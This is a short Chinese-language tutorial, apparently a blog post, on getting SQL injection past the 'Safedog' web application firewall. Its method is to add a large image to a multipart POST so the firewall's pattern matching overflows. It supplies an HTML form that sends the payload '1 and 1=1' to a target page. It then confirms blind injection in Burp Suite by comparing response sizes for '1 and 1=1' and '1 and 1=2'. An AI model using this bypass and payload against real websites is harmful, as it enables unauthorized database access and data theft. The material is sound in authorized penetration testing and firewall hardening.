当我们在渗透一个网站的时候,很多时候,会遇到下面这种情况。网站装有WAF,把我们的SQL注入语句给拦截了。
这就是网站的安全狗
此时,我们的渗透会陷入僵局。到底应该如何才能让我们的语句绕过安全狗的检查呢?
我们可以自己写一个页面,该页面可以向网站提交数据,我们在提交数据的同时还提交一张图片,由于图片的数据过大,超过了安全狗的正则匹配的字符,我们就可以绕过了
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
</head>
<body>
<form action="http://192.168.10.14/cat.php?id=1" method="POST" enctype="multipart/form-data">
File: <input type="file" name="file"/> <br/>
ID: <input type="text" name="id" value="1 and 1=1" style="width=400px;"/> <br/>
<input type="submit" value="提交"/>
</form>
</body>
</html>
我们随便选择本地一张照片和我们的SQL语句一起提交
然后用BrupSuite抓包,送到Repeater模块,拉到请求数据的最后,点击发送。我们可以看到,当发送的数据是 1 and 1=1的时候,回复的字节数是 2649个字节
然后我们修改为 1 and 1=2 ,字节数是2130个字节,很明显,这里存在盲注。而且我们已经绕过安全狗的检测了。